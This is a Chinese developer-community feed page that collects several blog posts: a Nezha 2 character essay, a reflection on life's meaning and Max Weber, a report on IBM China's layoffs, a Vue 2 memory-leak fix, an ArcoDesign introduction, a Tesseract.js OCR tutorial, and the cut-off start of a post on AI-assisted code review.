《哪吒2》申公豹:一个寒门贵子的悲壮逆袭,刺痛了谁的神经?

导语: 当《哪吒2》用颠覆性的视角重塑申公豹时,这个曾被贴上“反派”标签的角色,竟成了无数观众心中的意难平。他不再是一个扁平化的恶人,而是一面镜子,映照出当代社会最扎心的真相——成见、寒门困境与人性的灰度。今天,我们借申公豹的悲壮逆袭,聊聊那些刺痛现实的隐喻。...
继续阅读 »

导语

当《哪吒2》用颠覆性的视角重塑申公豹时,这个曾被贴上“反派”标签的角色,竟成了无数观众心中的意难平。他不再是一个扁平化的恶人,而是一面镜子,映照出当代社会最扎心的真相——成见、寒门困境与人性的灰度。今天,我们借申公豹的悲壮逆袭,聊聊那些刺痛现实的隐喻。




一、成见:一座压垮“寒门贵子”的大山


申公豹的悲剧,始于一句“妖不配成仙”。他出身妖族,拼尽千年修炼考入昆仑山“大厂”,却因出身卑微沦为“外门弟子”,脏活累活全包,功劳苦劳全无。正如影片那句戳心台词:“人心中的成见是一座大山,任你怎么努力也休想搬动。”


现实映射:职场中的学历歧视、地域偏见、年龄门槛,何尝不是“申公豹困境”?一个专科生能力再强,也可能因一纸文凭被拒之门外;一个小镇青年挤进一线城市,却在“土著优先”的潜规则中举步维艰。成见这把刀,杀人不见血。




二、寒门逆袭:一场注定孤独的修行


申公豹的修仙路,堪称“仙界版小镇做题家”。他是全村第一个考入昆仑山的“大学生”,背负家族期望,却在神仙体系内卷中沦为“工具人”。玉虚宫的“仙二代”们躺平混日子,而他只能靠“996修仙”勉强立足,最终发现:寒门出身不是原罪,自我否定才是深渊


现实映射:当代年轻人的“申公豹式挣扎”——北漂沪漂的“黑手套”、大厂螺丝钉的无效内卷、寒门学子掏空六个钱包的学区房……我们何尝不是在“证明自己”的路上,被社会标准绑架?申公豹的偷灵珠、算计哪吒,像极了某些人为了升职不择手段的无奈,但影片质问:若规则本身不公,反抗是否必须沾染黑暗?




三、人性灰度:撕开“非黑即白”的伪命题


申公豹的“洗白”引发争议,但影片的高明之处恰在于此。他偷灵珠是为打破偏见,屠陈塘关是为救敖丙,却又在危难时赠药救民。这种矛盾,撕开了人性的伪装:善与恶从非对立,而是挣扎中共存


现实启示:我们习惯用“好人”“坏人”标签简化世界,却对职场中的“背锅侠”、家庭中的“沉默者”缺乏共情。申公豹的复杂性提醒我们:真正的成熟,是接纳世界的混沌,在灰度中守住底线




四、孤勇者的启示:在偏见中淬炼本心


面对家人被害、徒弟遇险,申公豹的选择令人动容。他没有被仇恨吞噬,而是冷静揭露真相,以孤身战三龙的壮烈诠释了“我命由我不由天”。这背后,是影片对“奋斗者精神”的致敬——即使世界以偏见待我,我仍以道义报之


现实意义:在“躺平”与“内卷”撕裂的当下,申公豹的孤勇是一剂清醒药:真正的强大,不是迎合规则,而是在认清现实后,依然选择做自己。就像那些在职场霸凌中坚守原则的打工人,在流量至上的时代坚持内容的创作者——他们或许“失败”,却活成了自己的英雄。




结语

《哪吒2》借申公豹的悲情,完成了一场对现实的犀利解剖。它告诉我们:成见会杀人,寒门难破局,但比命运更可怕的,是向偏见屈膝的灵魂。愿每一个“申公豹”,都能在时代的夹缝中,找到属于自己的光。


作者:suke
来源:juejin.cn/post/7468218848228556826
收起阅读 »

关于意义的问题

深夜加班回家的路上,我经常独自漫步在家到公司那段不到四公里的路上。有时候我会想想一天工作的内容及改进,但是更多的时间会想到工作的价值以及自己人生的目标,从而经常会陷入更深邃的幻想中,却得不到明确的答案。 背景 从考入大学到参加工作,我已经在这个城市度过了十七年...
继续阅读 »

深夜加班回家的路上,我经常独自漫步在家到公司那段不到四公里的路上。有时候我会想想一天工作的内容及改进,但是更多的时间会想到工作的价值以及自己人生的目标,从而经常会陷入更深邃的幻想中,却得不到明确的答案。


背景


从考入大学到参加工作,我已经在这个城市度过了十七年的岁月,基本上算是我的半个故乡了。回顾半生:事业有成,好像还差好远;家庭幸福,好像也只能说安安稳稳;高朋满座,好像连一个知心人都难找。可为何我还执着于这个城市?不离去,回到心灵安放的故乡。


关于意义


在大城市继续奋斗,还是回到自己家乡这样的小城安稳度日。关于这种社会话题的价值讨论,其实已经有很多不同的观点。不管我选择了何种方式,关于工作的价值,关于今后生活的幸福感和意义感,也并不一定能够得到满足,人生的价值选择并没有什么标准答案,困惑、孤独、焦虑本就伴随着我们的一生。


我们这代人接受到现代化的思想,有一个最重要的思想动力,就是“理性”的观念,去除了对宗教、迷信、传统思想的依赖。然后我们生活的意义到底是什么?我们用理性去回答这个问题,却发现非常困难,甚至无能为力,所以我们时常会感到焦虑和空虚。


关于韦伯的见解


我们中国人都知道伟大的卡尔.马克思,但德国还有一位“马克思”也很了不起,就是马克斯.韦伯。他们都是现代社会学的奠基人。韦伯不是一个象牙塔中远离大众的学究,而是一位广泛介入公共生活,面向社会和现实的学者。他是一百年前德国最大的“公共知识分子”,是一位百科全书式的学者,是现代思想成年的标志。


说到成年,我认为大概有两个标志:第一是明白自己,对自己的过往有真正的理解;第二是反思自己,能看透自己存在的问题。有点像孔子说的“四十不惑”。韦伯标志着现代思想的成年,是因为他完成了两项任务,看清现代,反思现代,让现代社会迈入了“不惑”之年。


看清现代,就是真正理解现代社会运作的底层机制。在韦伯之前,西方的现代化已经高速发展了两百多年,但对于现代化的理解还停留在片面和表面的层次。直到韦伯以理性化为核心,建立了一套现代化理论,才第一次全面而系统地解释了现代社会的来龙去脉和运转机制。


反思现代,就是指出现代性最深层的缺陷,是根植于现代化本身的问题。这些问题不会随着社会进步而消失,反而会因为现代社会的发展而越来越严重。他说:认为科学是通向幸福之路,这是“天真的乐观主义”,只有书呆子才会相信。科学根本无法回答什么是“幸福”,什么是“意义”这类问题。


韦伯举了一个例子:假如现在有一位病人生命垂危,只要送到医院,我们就能用医学技术维持他的生命。但是有一个重要的问题,我们要不要去抢救这位病人呢?


如果病人只能维持生命,但根本无法好转,又会耗费大量的金钱,拖垮他的家庭,你认为应当做何选择?如果病人自己希望,不要付出这么大的代价来抢救,你认为要怎么选择呢?如果你知道病人在这种状况中非常的痛苦,你又要怎么选择呢?


医生回答不了这些问题,即使他有最丰富的医学知识和最高超的技术,也不能回答这个问题。


韦伯认为,这是生命意义的问题,超出了科学的边界。科学永远无法回答:我们做出什么样的选择才是“有意义”的,我们生命的“目的”究竟是什么。科学也许可以给出最优的“方案”,但永远无法教给我们一个最优的“选择”。


自我总结


人生的意义是人类永恒的问题,没有确定的唯一答案。如果有答案,就不会成为永恒的问题。从古希腊的苏格拉底开始,就在追问生命的意义,他说过“未经反省的人生是不值得过的”。西方思想史2000多年以来都没解决这个问题。


那就追随自己的内心,忘记所谓的价值和意义。未经反省的人生是不值得过的,但是过度考察的人生是没法过的人生!幸福和意义的标准更多的是一个内心主观的标准,要是从科学的角度论证成功了,我们的一生将按照固定的范本生活下去将是多么的无趣啊。所以不要去刻意追逐生命的意义和价值,认真感受当下的生活,过好自己的每一天,规划好自己的未来即可。


作者:云游者
来源:juejin.cn/post/7360595729523507240
收起阅读 »

中国研发部门一锅端,IBM程序员的“黑色星期五”

大家好,我是晓凡。 程序员的“黑色星期五” 想象一下,你正坐在办公室,准备享受周末的轻松时刻,突然,你的工作账号被停用了,各种公司相关的权限没了,无法访问公司内网。 这不是电影情节,而是IBM中国研发部门员工的真实遭遇。一夜之间,千余名员工被一锅端。 这件事发...
继续阅读 »

大家好,我是晓凡。


程序员的“黑色星期五”


想象一下,你正坐在办公室,准备享受周末的轻松时刻,突然,你的工作账号被停用了,各种公司相关的权限没了,无法访问公司内网。


这不是电影情节,而是IBM中国研发部门员工的真实遭遇。一夜之间,千余名员工被一锅端。


这件事发生得太突然,几乎没有一点点征兆和信号,看得晓凡是一脸懵逼。


----


IBM裁员:波及千人


裁员,在互联网行业并不是新鲜事。


但IBM这次裁员的规模和速度,着实让人震惊。


据悉,IBM中国在不同区设有多个分公司,据称大约有12000名员工。


被收回权限的员工属于IBMV,下设CDL(IBM中国研发中心)和CSL(IBM中国系统中心),主要负责研发和测试。


波及到了1000+人,遍布北京、上海、大连等各地的员工。赔偿方案为N+3,但具体情况可能更为复杂。


img


我们来看看IBM官方给出的解释


中国的企业,尤其是民营企业,越来越重视抓住混合云和人工智能技术带来的机遇。


因此,IBM 在中国的本地战略重点将转向利用自身在技术和服务方面的丰富经验,组建一支具备相应技能的团队,以更好地与中国客户合作,共同创造符合客户需求的解决方案。


下面是网传的针对此此次裁员3分钟会议纪要


3分钟会议纪要


我们将内容翻译过来大概如下:


我叫 Jack Hergenrother,是全球企业系统开发的副总裁。今天我们有一个重要的管理决策要与大家分享。


为了支持我们的全球客户和我们的业务战略,IBM 基础设施决定将开发任务从中国系统实验室转移到海外的其他 IBM基础设施基地。


我们正在退出在中国的所有开发任务。


正如你们所知道的,IBM 基础设施继续转型,以帮助释放我们组织必须提供的全部价值,并帮助我们实现具有挑战性的全球市场的可持续业务。这种转变受市场动态和激烈竞争的影响。而**中国的基建业务近年来有所下滑。


对于 IBM Z,我们做出了艰难的决定——将开发工作转移到其他国家,以便更好地抓住市场机遇,并且更加更接近客户。


在存储方面,我们正在将开发工作整合到更少的地点,以应对激烈的竞争。基础设施的协同办公战略是全球性的。协同办公也不仅限于中国。我们做出了这一艰难的商业决策,以便提高效率并简化运营。


我是 Ross Moury,IBM Z 和 Linux One 的总经理。我要感谢大家为 IBM 所做的贡献以及在这个平台成功中所扮演的重要角色。我希望获得你们的理解和今后的合作。


我是 Danny Mace,存储工程副总裁。我知道这是一个艰难的决定,但这是支持我们的全球客户和业务战略所必需的行动。在此,我也要感谢你们的贡献。


此外有不少网友注意到,现任 IBM CEO 是一名印度人 Arvind Krishna,自从他 2020 年上任后就曾在全球范围内进行了多轮裁员。此外根据 IBM 的招聘信息显示,目前 IBM 似乎正在印度不断增设岗位,故而部分网友猜测此次 IBM 中国研发部全体被裁或许也与此有关。


img


多轮裁员,用AI替代近8000人


裁员,往往不是单一因素的结果。IBM的裁员,背后是市场和技术的双重压力。


随着云计算和人工智能的兴起,传统的研发模式正在发生变化。


企业为了追求发展,需要尽可能的压缩成本。说实话,这两年,大家都不好过。


IBM CEO Arvind Krishna在采访中表示,后台职能部门,如人力资源的招聘将暂停或放缓。


未来5年,我们将看到30%的人将被AI和自动化所取代。


IBM中国裁员千余人,AI即将接管8000岗位!


程序员的自救


面对裁员,作为一名普通程序员,我们该怎么做呢?


① 保持良好心态,不要焦虑,不要内卷。真的不是自己不优秀,而是大环境不好。


工作没了,身体也不能跨。只要身体不垮,一切都可以重来。


② 守住自己手里的钱,不要负债,不要负债,不要负债。


正所谓:金库充盈,心绪宁静。即使不幸被裁了,也能靠积蓄养活自己


③ 虽然AI短时间不能完全替代程序员,但一些重复性的工作将被AI和自动化所取代。


保持学习,多了解一些AI,确实可以帮我们提高工作效率


④ 不要在一棵树上吊死,趁着年轻,试错成本不是那么高,多尝试尝试其他赛道,随然不一定能成。


但也有可能发现可以一直干下去的副业。


作者:程序员晓凡
来源:juejin.cn/post/7408070878829117491
收起阅读 »

为了解决内存泄露,我把 vue 源码改了

web
前言彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug 了但是排查内存泄露在前端领域属于比较冷门的领域了这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历本文涉及技术栈vue...
继续阅读 »

前言

彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug 

但是排查内存泄露在前端领域属于比较冷门的领域了

这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历

本文涉及技术栈

  • vue2

场景复现

如果之前有看过我文章的彦祖们,应该都清楚

笔者所在的单位有一个终端叫做工控机(类似于医院挂号的终端),没错!所有的 bug 都源自于它😠

因为内存只有 1G 所以一旦发生内存泄露就比较可怕

不过没有这个机器 好像也不会创作这篇文章😺

复现 demo

彦归正传,demo 其实非常简单,只需要一个最简单的 vue2 demo 就可以了

  • App.vue

<script>
import Test from './test.vue'
export default {
name: 'App',
components: {
Test
},
data () {
return {
render: false
}
}
}
script>

<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-
font-smoothing: antialiased;
-moz-osx-
font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
style>


  • test.vue


<script>
export default {
name: 'Test',
data () {
return {
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
},
500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>

复现流程

以下流程建议彦祖们在 chrome 无痕模式下执行

  1. 我们点击 render 按钮渲染 test 组件,此时我们发现 dom 节点的个数来到了 2045

image.png

考虑到有彦祖可能之前没接触过这块面板,下图展示了如何打开此面板

image.png

  1. 500ms 后(定时器执行完成后,如果没复现可以把 500ms 调整为 1000ms, 1500ms),我们点击 destroy 按钮
  2. 我们点击面板这里的强制回收按钮(发现节点并没有回收,已发生内存泄露)

image.png

如果你的浏览器是最新的 chrome,还能够点击这里的 已分离的元素(detached dom),再点击录制

image.png

我们会发现此时整个 test 节点已被分离

image.png

问题分析

那么问题到底出在哪里呢?

vue 常见泄露场景

笔者搜遍了全网,网上所说的不外乎以下几种场景

1.未清除的定时器

2.未及时解绑的全局事件

3.未及时清除的 dom 引用

4.未及时清除的 全局变量

5.console 对引用类型变量的劫持

好像第一种和笔者的场景还比较类似,但是仔细看看代码好像也加了

beforeDestroy () {
clearTimeout(this.timer)
}

这段代码啊,就算不加,timer 执行完后,事件循环也会把它回收掉吧

同事提供灵感

就这样笔者这段代码来回测试了半天也没发现猫腻所在

这时候同事提供了一个想法说"total 更新的时候是不是可以提供一个 key"

改了代码后就变成了这样了

  • test.vue


<script>
export default {
name: 'Test',
data () {
return {
renderKey: 0,
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
this.renderKey = Date.now()
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>

神奇的事情就这样发生了,笔者还是按以上流程测试了一遍,直接看结果吧

image.png

我们看到这个 DOM 节点曲线,在 destroy 的时候能够正常回收了

问题复盘

最简单的 demo 问题算是解决了

但是应用到实际项目中还是有点困难

难道我们要把每个更新的节点都手动加一个 key 吗?

其实仔细想想,有点 vue 基础的彦祖应该了解这个 key 是做什么的?

不就是为了强制更新组件吗?

等等,强制更新组件?更新组件不就是 updated 吗?

updated 涉及的不就是八股文中我们老生常谈的 patch 函数吗?(看来八股文也能真有用的时候😺)

那么再深入一下, patch 函数内部不就是 patchVnode 其核心不就是 diff 算法吗?

首对首比较,首对尾比较,尾对首比较,尾对尾比较 这段八股文要是个 vuer 应该都不陌生吧?😺

动手解决

其实有了问题思路和想法

那么接下来我们就深入看看 vue 源码内部涉及的 updated 函数到底在哪里吧?

探索 vue 源码

我们找到 node_modules/vue/vue.runtime.esm.js

image.png

我们看到了 _update 函数真面目,其中有个 __patch__ 函数,我们再重点查看一下

image.png

image.png

createPatchFunction 最后 return 了这个函数

image.png

我们最终来看这个 updateChildren 函数

image.png

其中多次出现了上文中所提到的八股文,每个都用 sameVnode进行了对比

  • function sameVnode
function sameVnode (a, b) {
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}

果然这里我们看到了上文中 key 的作用

key 不一样就会认作不同的 vnode

那么就会强制更新节点

对应方案

既然找到了问题的根本

在判定条件中我们是不是直接加个 || a.text !== b.text

强制对比下文本节点不就可以了吗?

修改 sameVnode

看下我们修改后的 sameVnode

function sameVnode (a, b) {
if(a.text !== b.text) return false // 文本不相同 直接 return
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}

方案效果

让我们用同样的代码来测试下

image.png

测试了几次发现非常的顺利,至此我们本地的修改算是完成了

如何上线?

以上的方案都是基于本地开发的,那么我们如何把代码应用到线上呢?

其他开发者下载的 vue 包依旧是 老的 sameVnode 啊

不慌,接着看

patch-package

对比了好几种方式,最终我们选择了这个神器

其实使用也非常简单

1.npm i patch-package

2.修改 node_modules/vue 源码

3.在根目录执行 npx patch-package vue(此时如果报错,请匹配对应 node 版本的包)

我们会发现新增了一个这样的文件

image.png

4.我们需要在package.json scripts 新增以下代码

  • package.json
"scripts": {
+"postinstall":"patch-package"
}

至此上线后,其他开发者执行 npm i 后便能使变动的补丁生效了

优化点

其实我们的改造还有一定的进步空间,比如说在指定节点上新增一个 attribute

在函数内部判断这个 attribute 再 return false

这样就不用强制更新每个节点了

当然方式很多种,文章的意义在于解决问题的手段和耐心

写在最后

最后再次感谢同事 juejin.cn/user/313102… 的提供的灵感和协助

感谢彦祖们的阅读

个人能力有限

如有不对,欢迎指正🌟 如有帮助,建议小心心大拇指三连🌟


作者:前端手术刀
来源:juejin.cn/post/7460431444630011919

收起阅读 »

ArcoDesign,字节跳动又一开源力作,企业级UI开源库,一个字“牛”!

web
大家好,我是程序视点的小二哥! 今天给大家分享的是:ArcoDesign。 它是字节跳动在稀土开发者大会上开源的企业级设计UI开源库。 关于 ArcoDesign ArcoDesign 主要解决在打造中后台应用时,让产品设计和开发无缝连接,提高质量和效率。 ...
继续阅读 »

大家好,我是程序视点的小二哥!

今天给大家分享的是:ArcoDesign

它是字节跳动在稀土开发者大会上开源的企业级设计UI开源库。



关于 ArcoDesign


ArcoDesign 主要解决在打造中后台应用时,让产品设计和开发无缝连接,提高质量和效率。

目前 ArcoDesign 主要服务于字节跳动旗下中后台产品的体验设计和技术实现,打磨沉淀 3 年之后开源。现主要由字节跳动 GIP UED 团队和架构前端团队联合共同构建及维护。


ArcoDesign 的亮点



  • 提供系统且全面的设计规范和资源,覆盖产品设计、UI 设计以及后期开发




  • ReactVue 同步支持。同时提供了 ReactVue 两套 UI 组件库。Vue 组件库基于 Vue 3.0 开发,并配详细的上手文档。




  • 支持一键开启暗黑模式,主题无缝切换


// 设置为暗黑主题
document.body.setAttribute('arco-theme', 'dark')

// 恢复亮色主题
document.body.removeAttribute('arco-theme');


  • 提供了最佳实践 Arco Pro,整理了常见的页面场景,帮助用户快速初始化项目和使用页面模板,从 0 到 1 搭建中后台应用



体验和使用建议


ArcoDesign 官方介绍和文档写得很磅礴,内容超多,格局很大。


针对前端开发者来说,有三点想法:



  • 一个设计系统同时提供目前最流行的ReactVue框架各提供一套 UI 组件库,综合性很强(官方考虑很全面)。

  • ArcoDesign UI 组件库的使用文档很详尽,上手简单,代码例子充足,使用体验和 AntDesignElement UI 类似。前端开发者入手成本低




  • ArcoDesign 提供的这套组件设计风格很时尚新潮,配色鲜明,细节处理优雅,细微的交互动效让人很舒服,不需要投入太多的设计工作就可以搭建一个品质很高的应用。


当然,在资源设计方面,也有友好的对接。对于设计能力强的团队,ArcoDesign 也提供了很多快速且精准的样式定制工具。



其他


官网还有很多特性的说明,作为一个介绍文章没法展开篇幅说明,总的来说,ArcoDesign 是一个可用性很强的中后台应用设计系统。更多内容请查阅官方网站。



ArcoDesign官方地址

arco.design/



写在最后


【程序视点】助力打工人减负,从来不是说说而已!


后续小二哥会继续详细分享更多实用的工具和功能。持续关注,这样就不会错过之后的精彩内容啦!~


如果这篇文章对你有帮助的话,别忘了【一键三连】支持下哦~


作者:程序视点
来源:juejin.cn/post/7462197664886636596
收起阅读 »

纯前端也能实现 OCR?

web
前言 前端时间有一个 OCR 的需求,原本考虑调用现成的 OCR 接口,但由于只是做一个我个人使用的工具,花钱购买 OCR 接口显得有些奢侈。于是就想着找找是否有现成的库可以自己部署或直接使用,结果发现了一个可以在纯前端实现 OCR 的库——Tesseract...
继续阅读 »

前言


前端时间有一个 OCR 的需求,原本考虑调用现成的 OCR 接口,但由于只是做一个我个人使用的工具,花钱购买 OCR 接口显得有些奢侈。于是就想着找找是否有现成的库可以自己部署或直接使用,结果发现了一个可以在纯前端实现 OCR 的库——Tesseract.js


Tesseract.js


Tesseract.js 是一个基于 Google Tesseract OCR 引擎的 JavaScript 库,利用 WebAssembly 技术将的 OCR 引擎带到了浏览器中。它完全运行在客户端,无需依赖服务器,适合处理中小型图片的文字识别。


主要特点



  • 多语言支持:支持多种语言文字识别,包括中文、英文、日文等。

  • 跨平台:支持浏览器和 Node.js 环境,灵活应用于不同场景。

  • 开箱即用:无需额外依赖后端服务,直接在前端实现 OCR 功能。

  • 自定义训练数据:支持加载自定义训练数据,提升特定场景下的识别准确率。


安装


通过 npm 安装


npm install tesseract.js

通过 CDN 引入


<script src="https://unpkg.com/tesseract.js@latest/dist/tesseract.min.js"></script>

基本使用


以下示例展示了如何使用 Tesseract.js 从图片中提取文字:


import Tesseract from 'tesseract.js';

Tesseract.recognize(
'image.png', // 图片路径
'chi_sim', // 识别语言(简体中文)
{
logger: info => console.log(info), // 实时输出进度日志
}
).then(({ data: { text } }) => {
console.log('识别结果:', text);
});

示例图片



运行结果



可以看到,虽然识别结果不完全准确,但整体准确率较高,能够满足大部分需求。


更多用法


1. 多语言识别


Tesseract.js 支持多语言识别,可以通过字符串或数组指定语言代码:


// 通过字符串的方式指定多语言
Tesseract.recognize('image.png', 'eng+chi_sim').then(({ data: { text } }) => {
console.log('识别结果:', text);
});

// 通过数组的方式指定多语言
Tesseract.recognize('image.png', ['eng','chi_sim']).then(({ data: { text } }) => {
console.log('识别结果:', text);
});

eng+chi_sim 表示同时识别英文和简体中文。Tesseract.js 内部会将字符串通过 split 方法分割成数组:


const currentLangs = typeof langs === 'string' ? langs.split('+') : langs;

2. 处理进度日志


可以通过 logger 回调函数查看任务进度:


Tesseract.recognize('image.png', 'eng', {
logger: info => console.log(info.status, info.progress),
});

输出示例:



3. 自定义训练数据


如果需要识别特殊字符,可以加载自定义训练数据:


const worker = await createWorker('语言文件名', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false, // 是否对来自远程的训练数据进行 gzip 压缩
langPath: '/path/to/lang-data' // 自定义训练数据路径
});


[!warning] 注意:



  1. 第一个参数为加载自定义训练数据的文件名,不带后缀。

  2. 加载自定义训练数据的文件后缀名必须为 .traineddata

  3. 如果文件名不是 .traineddata.gzip,则需要设置 gzipfalse



举例


const worker = await createWorker('my-data', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false,
langPath: 'http://localhost:5173/lang',
});

加载效果



4. 通过前端上传图片


通常,图片是通过前端让用户上传后进行解析的。以下是一个简单的 Vue 3 示例:


<script setup>
import { createWorker } from 'tesseract.js';

async function handleUpload(evt) {
const files = evt.target.files;
const worker = await createWorker("chi_sim");
for (let i = 0; i < files.length; i++) {
const ret = await worker.recognize(files[i]);
console.log(ret.data.text);
}
}
</script>

<template>
<input type="file" @change="handleUpload" />
</template>

完整示例


下面提供一个简单的 OCR 示例,展示了如何在前端实现图片上传、文字识别以及图像处理。


代码


<!--
* @Author: zi.yang
* @Date: 2024-12-10 09:15:22
* @LastEditors: zi.yang
* @LastEditTime: 2025-01-14 08:06:25
* @Description: 使用 tesseract.js 实现 OCR
* @FilePath: /vue-app/src/components/HelloWorld.vue
-->

<script setup lang="ts">
import { ref } from 'vue';
import { createWorker, OEM } from 'tesseract.js';

const uploadFileName = ref<string>("");
const imgText = ref<string>("");

const imgInput = ref<string>("");
const imgOriginal = ref<string>("");
const imgGrey = ref<string>("");
const imgBinary = ref<string>("");

async function handleUpload(evt: any) {
const file = evt.target.files?.[0];
if (!file) return;
uploadFileName.value = file.name;
imgInput.value = URL.createObjectURL(file);
const worker = await createWorker("chi_sim", OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
});
const ret = await worker.recognize(file, { rotateAuto: true }, { imageColor: true, imageGrey: true, imageBinary: true });
imgText.value = ret.data.text || '';
imgOriginal.value = ret.data.imageColor || '';
imgGrey.value = ret.data.imageGrey || '';
imgBinary.value = ret.data.imageBinary || '';
}

// 占位符 svg
const svgIcon = encodeURIComponent('<svg t="1736901745913" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4323" width="140" height="140"><path d="M804.9 243.4c8.1 0 17.1 10.5 17.1 24.5v390.9c0 14-9.1 24.5-17.3 24.5H219.3c-8 0-17.3-10.7-17.3-24.5V267.9c0-14 9.1-24.5 17.3-24.5h585.6m0-80H219.3c-53.5 0-97.3 47-97.3 104.5v390.9c0 57.3 43.8 104.5 97.3 104.5h585.4c53.5 0 97.3-47 97.3-104.5V267.9c0-57.5-43.7-104.5-97.1-104.5z" fill="#5E9EFC" p-id="4324"></path><path d="M678.9 294.5c28 0 50.6 22.7 50.6 50.6 0 28-22.7 50.6-50.6 50.6s-50.6-22.7-50.6-50.6c0-28 22.7-50.6 50.6-50.6z m-376 317.6l101.4-215.7c6-12.8 24.2-12.8 30.2 0l101.4 215.7c5.2 11-2.8 23.8-15.1 23.8H318c-12.2 0-20.3-12.7-15.1-23.8z" fill="#5E9EFC" p-id="4325"></path><path d="M492.4 617L573 445.7c4.8-10.1 19.2-10.1 24 0L677.6 617c4.1 8.8-2.3 18.9-12 18.9H504.4c-9.7 0-16.1-10.1-12-18.9z" fill="#5E9EFC" opacity=".5" p-id="4326"></path></svg>');
const placeholder = 'data:image/svg+xml,' + svgIcon;
</script>

<template>
<div class="custom-file-upload">
<label for="file-upload" class="custom-label">选择文件</label>
<span id="file-name" class="file-name">{{ uploadFileName || '未选择文件' }}</span>
<input id="file-upload" type="file" @change="handleUpload" />
</div>

<div class="row">
<div class="column">
<p>输入图像</p>
<img alt="原图" :src="imgInput || placeholder">
</div>
<div class="column">
<p>旋转,原色</p>
<img alt="原色" :src="imgOriginal || placeholder">
</div>
<div class="column">
<p>旋转,灰度化</p>
<img alt="灰度化" :src="imgGrey || placeholder">
</div>
<div class="column">
<p>旋转,二值化</p>
<img alt="二进制" :src="imgBinary || placeholder">
</div>
</div>

<div class="result">
<h2>识别结果</h2>
<p>{{ imgText || '暂无结果' }}</p>
</div>
</template>

<style scoped>
/* 隐藏原生文件上传按钮 */
input[type="file"] {
display: none;
}

/* 自定义样式 */
.custom-file-upload {
display: inline-block;
cursor: pointer;
margin-bottom: 30px;
}

.custom-label {
padding: 10px 20px;
color: #fff;
background-color: #007bff;
border-radius: 5px;
display: inline-block;
font-size: 14px;
cursor: pointer;
}

.custom-label:hover {
background-color: #0056b3;
}

.file-name {
margin-left: 10px;
font-size: 14px;
color: #555;
}

.row {
display: flex;
width: 100%;
justify-content: space-around;
}

.column {
width: 24%;
padding: 5px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
text-align: center;
min-height: 100px;
}

.column > p {
margin: 0 0 10px 0;
padding: 5px;
border-bottom: 1px solid #ccc;
font-weight: 600;
}

.column > img {
width: 100%;
}

.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
}

.result > h2 {
margin: 0;
}

.result > p {
white-space: pre-wrap;
word-wrap: break-word;
word-break: break-all;
font-size: 16px;
line-height: 1.5;
color: #333;
margin: 10px 0;
}
</style>

实现效果



资源加载失败


Tesseract.js 在运行时需要动态加载三个关键文件:Web Workerwasm训练数据。由于默认使用的是 jsDelivr CDN,国内用户可能会遇到网络加载问题。为了解决这个问题,可以通过指定 unpkg CDN 来加速资源加载:


const worker = await createWorker('chi_sim', OEM.DEFAULT, {
langPath: 'https://unpkg.com/@tesseract.js-data/chi_sim/4.0.0_best_int',
workerPath: 'https://unpkg.com/tesseract.js/dist/worker.min.js',
corePath: 'https://unpkg.com/tesseract.js-core/tesseract-core-simd-lstm.wasm.js',
});

如果需要离线使用,可以将这些资源下载到本地,并将路径指向本地文件即可。


结语


Tesseract.js 是目前前端领域较为成熟的 OCR 库,适合在无需后端支持的场景下快速实现文字识别功能。通过合理的图片预处理和优化,可以满足大部分中小型应用的需求。


相关链接



作者:子洋
来源:juejin.cn/post/7459791088791797786
收起阅读 »

现在前端组长都是这样做 Code Review

web
前言 Code Review 是什么? Code Review 通常也简称 CR,中文意思就是 代码审查 一般来说 CR只关心代码规范和代码逻辑,不关心业务 但是,如果CR的人是组长,建议有时间还是看下与自己组内相关业务,能避免一些生产事故的发生 作为前端组长...
继续阅读 »

前言


Code Review 是什么?


Code Review 通常也简称 CR,中文意思就是 代码审查


一般来说 CR只关心代码规范和代码逻辑,不关心业务


但是,如果CR的人是组长,建议有时间还是看下与自己组内相关业务,能避免一些生产事故的发生


作为前端组长做 Code Review 有必要吗?


主要还是看公司业务情况吧,如果前端组长需求不多的情况,是可以做下CR,能避免一些生产事故



  • 锻炼自己的 CR 能力

  • 看看别人的代码哪方面写的更好,学习总结

  • 和同事交流,加深联系

  • 你做了 CR,晋升和面试,不就有东西吹了不是


那要怎么去做Code Review呢?


可以从几个方面入手



  • 项目架构规范

  • 代码编写规范

  • 代码逻辑、代码优化

  • 业务需求


具体要怎么做呢?


传统的做法是PR时查看,对于不合理的地方,打回并在PR中备注原因或优化方案


每隔一段时间,和组员开一个简短的CR分享会,把一些平时CR过程中遇到的问题做下总结


当然,不要直接指出是谁写出的代码有问题,毕竟这不是目的,分享会的目的是交流学习


人工CR需要很大的时间精力,与心智负担


随着 AI 的发展,我们可以借助一些 AI 来帮我们完成CR


接下来,我们来看下,vscode中是怎么借助 AI 工具来 CR


安装插件 CodeGeex
image-20240723191918678.png


新建一个项目


mkdir code-review
cd code-review

创建 test.js 并用 vscode 打开


cd .>test.js
code ./

image-20240723192853589.png


编写下 test.js


function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
